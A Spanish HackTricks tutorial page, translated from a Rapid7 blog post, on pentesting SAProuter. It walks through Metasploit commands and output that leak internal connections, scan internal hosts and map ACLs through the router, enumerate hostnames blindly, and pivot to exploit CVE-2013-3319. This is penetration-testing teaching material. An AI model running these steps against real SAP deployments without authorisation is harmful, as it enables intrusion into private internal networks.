Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-23 05:03:35 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/network-services-pentesting/3299-pentesting-saprouter.md
carlospolop 63bd9641c0 f
2023-06-05 20:33:24 +02:00

22 KiB
Raw Blame History

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Copia de: https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/

PORT     STATE SERVICE    VERSION
3299/tcp open  saprouter?

Penetrando SAProuter con Metasploit

Saprouter es básicamente un proxy inverso para sistemas SAP, que normalmente se sitúa entre Internet y los sistemas SAP internos. Su principal objetivo es permitir el acceso controlado desde hosts en Internet a los sistemas SAP internos, ya que permite un control más fino de los protocolos SAP que un firewall típico.

Esto significa que saprouter suele acabar expuesto a Internet, permitiendo el puerto TCP entrante 3299 al host saprouter en los firewalls de la organización. Y desde el saprouter, al menos debería ser posible llegar a un servidor SAP interno. Esto lo convierte en un objetivo muy interesante, ya que puede proporcionar una forma de entrar en la red de "alto valor".

La siguiente figura muestra una configuración básica de red, que utilizaremos para los ejemplos:

Primero, comenzaremos realizando un escaneo de servicios SAP de la dirección IP expuesta, utilizando el módulo sap_service_discovery, en este caso, 1.2.3.101.

msf> use auxiliary/scanner/sap/sap_service_discovery
msf auxiliary(sap_service_discovery) > set RHOSTS 1.2.3.101
RHOSTS => 1.2.3.101
msf auxiliary(sap_service_discovery) > run

[*] [SAP] Beginning service Discovery '1.2.3.101'

[+] 1.2.3.101:3299      - SAP Router OPEN
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

El escaneo nos muestra que el host está ejecutando un SAP router en el puerto TCP esperado 3299. Ahora podemos profundizar e intentar obtener información del saprouter. Si ha sido mal configurado, y a menudo lo están, puede ser posible obtener información interna, como conexiones establecidas a través del saprouter a hosts internos. Para este propósito, usamos el módulo sap_router_info_request:

msf auxiliary(sap_router_info_request) > use auxiliary/scanner/sap/sap_router_info_request 
msf auxiliary(sap_router_info_request) > set RHOSTS 1.2.3.101
RHOSTS => 1.2.3.101
msf auxiliary(sap_router_info_request) > run

[+] 1.2.3.101:3299 - Connected to saprouter
[+] 1.2.3.101:3299 - Sending ROUTER_ADM packet info request
[+] 1.2.3.101:3299 - Got INFO response
[+] Working directory   : /opt/sap
[+] Routtab             : ./saprouttab

[SAP] SAProuter Connection Table for 1.2.3.101
===================================================

   Source        Destination   Service
   ------        -----------   -------
   1.2.3.12      192.168.1.18  3200


[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Entonces, a partir de la salida, vemos que alguien en Internet 1.2.3.12 está conectado a un host interno 192.168.1.18 en el puerto 3200. El puerto 3200 es un puerto SAP común para el protocolo DIAG donde la aplicación SAP GUI se conecta a los servidores SAP. También obtenemos información sobre el esquema de direccionamiento IP interno, es muy probable que estén utilizando al menos la red 192.168.1.0/24, o algún subred en esa red.

Enumerando hosts y servicios internos

Con esta información, ahora podemos comenzar a escanear la red interna. Dado que saprouter funciona como un proxy, intentaremos conectarnos a él y solicitar conexiones a hosts y puertos internos, y ver las respuestas de saprouter. Esto puede proporcionar más información sobre los hosts internos, servicios y ACL, dependiendo de la configuración de saprouter. Utilizaremos el módulo sap_router_portscanner para este propósito.

El módulo se conecta al saprouter y solicita conexiones a otros hosts definidos en la opción TARGETS en puertos TCP específicos. Luego analiza las respuestas y comprende si la conexión solicitada es posible o no. Este módulo proporciona algunas opciones que se pueden utilizar:

Basic options:
  Name         Current Setting  Required  Description
  ----         ---------------  --------  -----------
  CONCURRENCY  10               yes       The number of concurrent ports to check per host
  INSTANCES    00-99            no        SAP instance numbers to scan (NN in PORTS definition)
  MODE         SAP_PROTO        yes       Connection Mode: SAP_PROTO or TCP  (accepted: SAP_PROTO, TCP)
  PORTS        32NN             yes       Ports to scan (e.g. 3200-3299,5NN13)
  RESOLVE      local            yes       Where to resolve TARGETS (accepted: remote, local)
  RHOST                         yes       SAPRouter address
  RPORT        3299             yes       SAPRouter TCP port
  TARGETS                       yes       Comma delimited targets. When resolution is local address ranges or CIDR identifiers allowed.

Al menos deberás establecer la dirección IP del saprouter, en el caso de ejemplo, 1.2.3.101. Luego, establece TARGETS con las direcciones de red internas que deseas escanear, y finalmente establece PORTS con los puertos TCP a escanear.

El módulo también proporciona una opción INSTANCES que permite simplificar la definición de la opción PORTS. Las instalaciones de SAP admiten múltiples instancias, que proporcionan servicios similares, por lo que a cada instancia se le asignan puertos TCP. Por ejemplo, la instancia SAP 00 tendrá el servicio de despachador SAP donde se conecta SAP GUI en el puerto 3200 y la instancia 01 en el puerto 3201. La opción PORTS admite un "comodín" que es "NN" que se reemplazará con el número de instancia, por lo tanto, se escanearán los puertos para todas las instancias definidas. Entonces, si queremos escanear instancias del 00 al 50, podemos definir las variables INSTANCES y PORTS de esta manera:

msf auxiliary(sap_router_portscanner) > set INSTANCES 00-50
INSTANCES => 00-01
msf auxiliary(sap_router_portscanner) > set PORTS 32NN
PORTS => 32NN

Con esta configuración, el módulo escaneará los puertos en el rango de 3200 a 3250.

En la fuente del módulo, se dispone de información sobre los puertos predeterminados comunes en los sistemas SAP, que ahora utilizaremos para el escaneo:

msf > use auxiliary/scanner/sap/sap_router_portscanner 
msf auxiliary(sap_router_portscanner) > use auxiliary/scanner/sap/sap_router_portscanner  
msf auxiliary(sap_router_portscanner) > set RHOST 1.2.3.101
RHOST => 1.2.3.101
msf auxiliary(sap_router_portscanner) > set TARGETS 192.168.1.18
TARGETS => 192.168.1.18
msf auxiliary(sap_router_portscanner) > set INSTANCES 00-01
INSTANCES => 00-01
msf auxiliary(sap_router_portscanner) > set PORTS 32NN,33NN,48NN,80NN,36NN,81NN,5NN00-5NN19,21212,21213,59975,59976,4238-4241,3299,3298,515,7200,7210,7269,7270,7575,39NN,3909,4NN00,8200,8210,8220,8230,4363,4444,4445,9999,3NN01-3NN08,3NN11,3NN17,20003-20007,31596,31597,31602,31601,31604,2000-2002,8355,8357,8351-8353,8366,1090,1095,20201,1099,1089,443NN,444NN
PORTS => 32NN,33NN,48NN,80NN,36NN,81NN,5NN00-5NN19,21212,21213,59975,59976,4238-4241,3299,3298,515,7200,7210,7269,7270,7575,39NN,3909,4NN00,8200,8210,8220,8230,4363,4444,4445,9999,3NN01-3NN08,3NN11,3NN17,20003-20007,31596,31597,31602,31601,31604,2000-2002,8355,8357,8351-8353,8366,1090,1095,20201,1099,1089,443NN,444NN
msf auxiliary(sap_router_portscanner) > run

[*] Scanning 192.168.1.18
[!] Warning: Service info could be inaccurate

Portscan Results
================

   Host           Port   State   Info
   ----           ----   -----   ----
   192.168.1.18   3201   closed  SAP Dispatcher sapdp01
   192.168.1.18   3200   open    SAP Dispatcher sapdp00
   192.168.1.18   50013  open    SAP StartService [SOAP] sapctrl00

[*] Auxiliary module execution completed

Podemos intentar entender por qué algunas conexiones no son permitidas a través del saprouter usando la opción VERBOSE. Cuando VERBOSE está configurado en verdadero, podemos ver la respuesta del saprouter y mapear la ACL definida.

Ahora escanearemos los hosts 192.168.1.18 y 192.168.1.1, pero solo en el puerto 3200, para ver si podemos conectarnos a ambos despachadores SAP:

msf auxiliary(sap_router_portscanner) > set VERBOSE true
VERBOSE => true
msf auxiliary(sap_router_portscanner) > set TARGETS 192.168.1.1,192.168.1.18
TARGETS => 192.168.1.1,192.168.1.18
msf auxiliary(sap_router_portscanner) > set PORTS 32NN
PORTS => 32NN
msf auxiliary(sap_router_portscanner) > run

[*] Scanning 192.168.1.18
[+] 192.168.1.18:3200 - TCP OPEN
[!] Warning: Service info could be inaccurate

Portscan Results
================

   Host          Port  State   Info
   ----          ----  -----   ----
   192.168.1.18  3200  open  SAP Dispatcher sapdp00

[*] Scanning 192.168.1.1
[-] 192.168.1.1:3200 - blocked by ACL
[!] Warning: Service info could be inaccurate
[*] Auxiliary module execution completed

Como se puede observar, ahora sabemos que no podemos conectarnos a otro host en el puerto 3200, ya que está bloqueado por la ACL definida en el saprouter.

Mapeando las ACLs

Una cosa interesante sobre el saprouter es que admite dos tipos de conexiones:

  • Nativa: estas conexiones son simplemente conexiones TCP.
  • Protocolo SAP: estas son conexiones TCP con un giro, el protocolo establece que todos los mensajes comienzan con 4 bytes que indican la longitud del contenido siguiente.

El protocolo SAP es específico del saprouter y es lo que utiliza la GUI de SAP para conectarse al puerto SAP DIAG a través del saprouter. El protocolo nativo se utiliza para permitir que otros tipos de conexiones pasen a través del saprouter.

Este módulo permite especificar qué tipo de conexión probar durante el escaneo en la opción MODE. El valor predeterminado es el protocolo SAP, que es el más probable que se utilice en producción. Sin embargo, no es raro encontrar otros servicios permitidos a través del saprouter, donde la ACL permitirá conexiones nativas TCP a través de él.

Podemos establecer el MODE en TCP para evaluar si se permiten este tipo de conexiones. Ahora escanearemos los hosts internos, tanto en el puerto 3200 SAP DIAG como en el 80 HTTP, con VERBOSE establecido en verdadero, en ambas instancias 00 y 01, y veremos qué sucede:

msf auxiliary(sap_router_portscanner) > set MODE TCP 
MODE => TCP

msf auxiliary(sap_router_portscanner) > set PORTS 80,32NN
PORTS => 80,32NN
msf auxiliary(sap_router_portscanner) > set INSTANCES 00-01
INSTANCES => 00-01
msf auxiliary(sap_router_portscanner) > run

[*] Scanning 192.168.1.18
[+] 192.168.1.18:80 - TCP OPEN
[-] 192.168.1.18:3200 - blocked by ACL
[+] 192.168.1.18:3201 - TCP OPEN
[!] Warning: Service info could be inaccurate

Portscan Results
================

   Host          Port  State  Info
   ----          ----  -----  ----
   192.168.1.18  80    open   
   192.168.1.18  3201  open   SAP Dispatcher sapdp01

[*] Scanning 192.168.1.1
[-] 192.168.1.1:3200 - blocked by ACL
[+] 192.168.1.1:3201 - TCP OPEN
[+] 192.168.1.1:80 - TCP OPEN
[!] Warning: Service info could be inaccurate

Portscan Results
================

   Host         Port  State  Info
   ----         ----  -----  ----
   192.168.1.1  3201  open   SAP Dispatcher sapdp01
   192.168.1.1  80    open   

[*] Auxiliary module execution completed

A partir de la salida y la información previa, ahora sabemos que la ACL es algo así:

  • Permitir conexiones TCP desde cualquier host a 192.168.1.1 al puerto 80
  • Permitir conexiones TCP desde cualquier host a 192.168.1.18 al puerto 80
  • Permitir conexiones TCP desde cualquier host a 192.168.1.1 al puerto 3201
  • Permitir conexiones TCP desde cualquier host a 192.168.1.18 al puerto 3201
  • Permitir conexiones SAP desde cualquier host a 192.168.1.18 al puerto 3200

Enumeración ciega de hosts internos

Si recuerdas, comenzamos obteniendo información del saprouter que nos permitió conocer la dirección IP de un host interno, y continuamos a partir de ahí. Pero, ¿qué pasa si el saprouter no nos proporciona esa información?

Una opción es simplemente comenzar a escanear espacios de direcciones privadas y ver qué sucede. La otra es enumerar ciegamente hosts por nombre de host.

Los saprouters pueden resolver los nombres de host que les solicitamos que se conecten. Saprouter también es lo suficientemente amable como para informarnos de los errores cuando no puede conectarse en realidad se pueden ver las respuestas en bruto descomentando la línea 242 en el origen del módulo.

Con esta función, podemos enumerar hosts internos por nombre de host e intentar ir directamente al objetivo.

Para ello, debemos establecer la opción RESOLVE en "remoto". En este caso, el módulo solicitará la conexión a los OBJETIVOS definidos, sin resolverlos localmente, y podemos intentar adivinar los hosts internos y, eventualmente, conectarnos a ellos sin conocer nunca sus direcciones IP.

Cosas importantes a recordar al enumerar hosts ciegamente:

  • Establecer VERBOSE en verdadero;
  • Obtendremos más información de saprouter si MODE se establece en SAP_PROTO;
  • Es suficiente con establecer solo un puerto para escanear, ya que solo nos interesa en este punto la información enviada por saprouter intenta con 3200;
  • Los resultados variarán según la ACL configurada. Desafortunadamente, las conexiones bloqueadas no nos darán mucha información.

En este ejemplo, intentaremos los nombres de host sap, sapsrv y sapsrv2.

msf auxiliary(sap_router_portscanner) > set RESOLVE remote
RESOLVE => remote
msf auxiliary(sap_router_portscanner) > set MODE SAP_PROTO
MODE => SAP_PROTO
msf auxiliary(sap_router_portscanner) > set VERBOSE true
VERBOSE => true
msf auxiliary(sap_router_portscanner) > set TARGETS sap,sapsrv,sapsrv2
TARGETS => sap,sapsrv,sapsrv2
msf auxiliary(sap_router_portscanner) > set PORTS 3200
PORTS => 3200
msf auxiliary(sap_router_portscanner) > run

[*] Scanning sap
[-] sap:3200 - unknown host
[!] Warning: Service info could be inaccurate
[*] Scanning sapsrv
[-] sapsrv:3200 - host unreachable
[!] Warning: Service info could be inaccurate
[*] Scanning sapsrv2
[+] sapsrv2:3200 - TCP OPEN
[!] Warning: Service info could be inaccurate

Portscan Results
================

   Host     Port  State  Info
   ----     ----  -----  ----
   sapsrv2  3200  open   SAP Dispatcher sapdp00

[*] Auxiliary module execution completed

Del resultado, vemos que el host "sap" no existe, pero el host "sapsrv" sí existe, aunque no se puede acceder a él, y "sapsrv2" existe y podemos conectarnos al puerto 3200.

Esta técnica también se puede utilizar para intentar encontrar otros hosts en la red, no relacionados con SAP, simplemente intentando usar nombres de host comunes, como smtp, exchange, pdc, bdc, fileshare, intranet, o cualquier otro nombre de host que tengas en tu bolsa de trucos.

La última milla

Ahora que hemos obtenido toda esta información, conocemos los hosts internos disponibles, qué servicios están permitidos y qué protocolos podemos usar para atravesar el saprouter, podemos conectarnos a los servidores internos y proceder con nuestra prueba de penetración.

Metasploit nos proporciona una forma impresionante de usar saprouter como proxy, utilizando la opción Proxies, gracias a Dave Hartley [@nmonkee](http://twitter.com/nmonkee).

Así que en este punto, queremos comenzar a recopilar información sobre el servidor SAP interno que hemos descubierto en el host 192.168.1.18. Como ejemplo, utilizaremos el módulo sap_hostctrl_getcomputersystem, que explota CVE-2013-3319 y nos proporciona detalles sobre el sistema operativo en el que se está ejecutando el servidor mediante la consulta del servicio SAP Host Control en el puerto 1128 a través de una solicitud SOAP no autenticada. Estaremos pivotando a través del saprouter, utilizando el soporte de proxy en metasploit:

msf auxiliary(sap_router_portscanner) > use auxiliary/scanner/sap/sap_hostctrl_getcomputersystem 
msf auxiliary(sap_hostctrl_getcomputersystem) > set Proxies sapni:1.2.3.101:3299
Proxies => sapni:1.2.3.101:3299
msf auxiliary(sap_hostctrl_getcomputersystem) > set RHOSTS 192.168.1.18
RHOSTS => 192.168.1.18
msf auxiliary(sap_hostctrl_getcomputersystem) > run

[+] 192.168.1.18:1128 - Information retrieved successfully
[*] 192.168.1.18:1128 - Response stored in /Users/msfusr/.msf4/loot/20140107180827_default_192.168.1.18_sap.getcomputers_386124.xml (XML) and /Users/msfusr/.msf4/loot/20140107180827_default_192.168.1.18_sap.getcomputers_186948.txt (TXT)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Si todo ha ido bien, tendrás una salida agradable del módulo en el botín que contiene información interna interesante del host SAP objetivo (como nombres de usuario internos que luego puedes intentar forzar).

¡El pivoteo puede (y debe!) ser utilizado para ejecutar otros módulos contra hosts internos, no solo sistemas SAP!

Conclusión

Hemos visto cómo es posible explotar configuraciones débiles de saprouter que pueden permitir el acceso a hosts internos desde Internet, todo esto utilizando solo el soporte de metasploit para pentesting de sistemas SAP.

Espero que este artículo pueda ayudar a arrojar luz sobre los riesgos asociados con las implementaciones de saprouter, así como sobre la seguridad de SAP en general.

Referencias

Shodan

  • port:3299 !HTTP Network packet too big
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥